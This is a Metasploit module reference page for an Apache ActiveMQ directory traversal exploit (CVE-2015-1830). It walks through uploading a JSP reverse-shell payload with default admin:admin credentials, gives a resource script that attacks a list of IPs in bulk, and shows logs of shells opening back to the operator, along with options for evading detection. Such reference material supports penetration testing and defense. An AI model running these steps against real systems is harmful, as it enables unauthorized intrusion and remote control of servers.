Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload - Metasploit
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Module Overview
Name: Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload
Module: exploit/windows/http/apache_activemq_traversal_upload
Source code: modules/exploits/windows/http/apache_activemq_traversal_upload.rb
Disclosure date: 2015-08-19
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8161, 8443, 8880, 8888
List of CVEs: CVE-2015-1830
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the payload and obtain a shell.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using apache_activemq_traversal_upload against a single host
Normally, you can use exploit/windows/http/apache_activemq_traversal_upload this way:
msf > use exploit/windows/http/apache_activemq_traversal_upload
msf exploit(apache_activemq_traversal_upload) > show targets
... a list of targets ...
msf exploit(apache_activemq_traversal_upload) > set TARGET target-id
msf exploit(apache_activemq_traversal_upload) > show options
... show and set options ...
msf exploit(apache_activemq_traversal_upload) > exploit
Using apache_activemq_traversal_upload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your apache_activemq_traversal_upload will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/apache_activemq_traversal_upload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
A directory traversal vulnerability was discovered in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows. The vulnerability, tracked as CVE-2015-1830, allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.
Because vulnerable servers allow for directory traversal, they will accept HTTP PUT requests for /fileserver/..\\admin\\
and process these as requests for /admin/
. For the PUT request to succeed, credentials need to be provided.
This module exploits CVE-2015-1830 by attempting to upload a JSP payload to a target via an HTTP PUT requests for /fileserver/..\\admin\\
using the default credentials admin:admin
(or any other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp
on the target in order to trigger the payload and obtain a shell. The module has been succesfully tested against ActiveMQ 5.11.1 on a Windows 7 machine.
Verification Steps
- Start msfconsole.
- Do:
use exploit/windows/http/apache_activemq_traversal_upload
. - Do:
set RHOSTS [IP]
. This option is used to set the IP address of the remote system running Apache ActiveMQ. - Do:
set PAYLOAD [payload]
. This option can be used to set the payload to use against the target. The default payload isjava/jsp_shell_reverse_tcp
. - Do:
set LHOST [IP]
. This option is used to set the IP address of the local machine the payload should establish a connection with. - Do:
exploit
.
Options
-
PASSWORD
. The default setting isadmin
, which is the default password for the ActiveMQ administrator account. -
PATH
. This option is the traversal path./fileserver/..\admin\
by default. -
USERNAME
. The default setting isadmin
, which is the default ActiveMQ administrator account.
Scenarios
msf5 exploit(windows/http/apache_activemq_traversal_upload) > show options
Module options (exploit/windows/http/apache_activemq_traversal_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password to authenticate with
PATH /fileserver/..\admin\ yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 8161 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
msf5 exploit(windows/http/apache_activemq_traversal_upload) > exploit
[*] Started reverse TCP handler on 192.168.1.1:4444
[*] Uploading payload...
[*] Payload sent. Attempting to execute the payload.
[*] Payload executed!
[*] Command shell session 1 opened (192.168.1.1:4444 -> 192.168.1.2:49194) at 2020-02-04 10:55:36 +0100
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop\activemq 5.11.1\apache-activemq-5.11.1\bin\win64>
References
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Msfconsole Usage
Here is how the windows/http/apache_activemq_traversal_upload exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/apache_activemq_traversal_upload
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(windows/http/apache_activemq_traversal_upload) > show info
Name: Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload
Module: exploit/windows/http/apache_activemq_traversal_upload
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-08-19
Provided by:
David Jorm
Erik Wynter
Available targets:
Id Name
-- ----
0 Windows Java
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password to authenticate with
PATH /fileserver/..\admin\ yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8161 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a directory traversal vulnerability
(CVE-2015-1830) in Apache ActiveMQ 5.x before 5.11.2 for Windows.
The module tries to upload a JSP payload to the /admin directory via
the traversal path /fileserver/..\admin\ using an HTTP PUT request
with the default ActiveMQ credentials admin:admin (or other
credentials provided by the user). It then issues an HTTP GET
request to /admin/<payload>.jsp on the target in order to trigger
the payload and obtain a shell.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-1830
https://www.exploit-db.com/exploits/40857
https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt
Module Options
This is a complete list of options available in the windows/http/apache_activemq_traversal_upload exploit:
msf6 exploit(windows/http/apache_activemq_traversal_upload) > show options
Module options (exploit/windows/http/apache_activemq_traversal_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password to authenticate with
PATH /fileserver/..\admin\ yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8161 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Windows Java
Advanced Options
Here is a complete list of advanced options supported by the windows/http/apache_activemq_traversal_upload exploit:
msf6 exploit(windows/http/apache_activemq_traversal_upload) > show advanced
Module advanced options (exploit/windows/http/apache_activemq_traversal_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/apache_activemq_traversal_upload module can exploit:
msf6 exploit(windows/http/apache_activemq_traversal_upload) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Java
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/apache_activemq_traversal_upload exploit:
msf6 exploit(windows/http/apache_activemq_traversal_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/apache_activemq_traversal_upload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/apache_activemq_traversal_upload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to execute the payload
Here is a relevant code snippet related to the "Failed to execute the payload" error message:
121: 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
122: },
123: 'method' => 'GET'
124: })
125: if res && res.code == 200
126: print_good('Payload executed!')
127: else
128: fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
129: end
130: end
131: end
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Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #12910 Merged Pull Request: Add apache_activemq_traversal_upload module to /modules/exploits/windows/http/
References
- CVE-2015-1830
- EDB-40857
- https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt
See Also
Check also the following modules related to this module:
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/windows/http/php_apache_request_headers_bof
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Authors
- David Jorm
- Erik Wynter
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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